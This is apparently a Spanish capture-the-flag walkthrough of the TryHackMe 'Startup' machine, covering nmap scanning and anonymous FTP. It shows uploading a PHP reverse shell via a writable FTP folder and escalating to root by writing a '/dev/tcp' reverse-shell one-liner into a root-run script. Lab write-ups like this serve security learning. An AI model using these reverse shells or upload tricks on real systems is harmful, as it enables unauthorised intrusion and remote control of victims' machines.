Startup


January 20, 20234 minutes

https://tryhackme.com/room/startup

IP Atacante = 10.10.10.10

IP Víctima = 10.10.76.5

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

> ping -c 1 10.10.76.5
PING 10.10.76.5 (10.10.76.5) 56(84) bytes of data.
64 bytes from 10.10.76.5: icmp_seq=1 ttl=63 time=116 ms

--- 10.10.76.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 116.037/116.037/116.037/0.000 ms

En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.76.5 -oG allPorts
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
-sS –min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   2[*] Extracting information...
   3   4[*] IP Address: 10.10.76.5
   5[*] Open ports: 21,22,80
   6   7[*] Ports copied to clipboard
   8───────┴─────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

❯ nmap -p22,80 -sC -sV 10.10.76.5
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp [NSE: writeable]
| -rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
|_-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.18.108.198
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b9a60b841d2201a401304843612bab94 (RSA)
|   256 ec13258c182036e6ce90e1626eba2be (ECDSA)
|_  256 a2ff2a7281aaa29f55a4dc9223e6b43f (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Maintenance

Puerto 21 (ftp)

El nmap ha reportado que nos podemos conectar por ftp como anonymous. Dentro del ftp hay tres archivos: .test_log, important.jpg y notice.txt, también hay un directorio llamado ftp en el cual tenemos permisos de escritura.

Nos pasamos los tres archivos con get "archivo" para analizarlos desde nuestra máquina. Ningún archivo contienen información relevante

Puerto 80 (http)

Subdirectorios

Empezamos con un escaneo de subdirectorios, vamos a usar dirb

dirb 10.10.76.5

Nos encuentra el subdirectorio files. Dentro de files vemos que hay los mismos archivos que en el ftp, teniendo en cuenta que en el ftp había una carpeta en la cual podíamos subir archivos, podemos probar de subir una reverse shell con php para después ejecutarla desde la web.

Intrusión

Nos bajamos el .php

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Es importante cambiar las líneas de ip y puerto.

Como normalmente la extensión .php está bloqueada, lo vamos a cambiar a .phtml

Ahora ya nos podemos volver a conectar por ftp y dentro de la carpeta ftp subir el .phtml con put

Por último nos ponemos en escucha por el puerto 443 y desde la web ejecutamos el archivo. Ya tenemos la reverse shell

Tratamiento de tty

Antes para trabajar mejor vamos a hacer un tratamiento de la terminal con los siguientes comandos:

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm

Escalda de privilegios

Lennie

En /incidents vemos un archivo el cual parece que contiene un historial de los comandos que se han ejecutado, buscando un poco vemos un sitio donde salen unas credenciales…

Root

Con la herramienta pspy podemos ver como se ejecuta automáticamente como root el archivo /home/lennie/scripts/planner.sh.

No tenemos permisos de escritura para este archivo, pero ese archivo ejecuta otro archivo: /etc/printf.sh, en este sí que tenemos permisos de escritura.

Dentro vamos a poner bash -c "bash -i >& /dev/tcp/10.10.10.10/442 0>&1" y nos vamos a poner en escucha por el puerto 442.

¡Recibimos la conexión y YA SOMOS ROOT!!!!!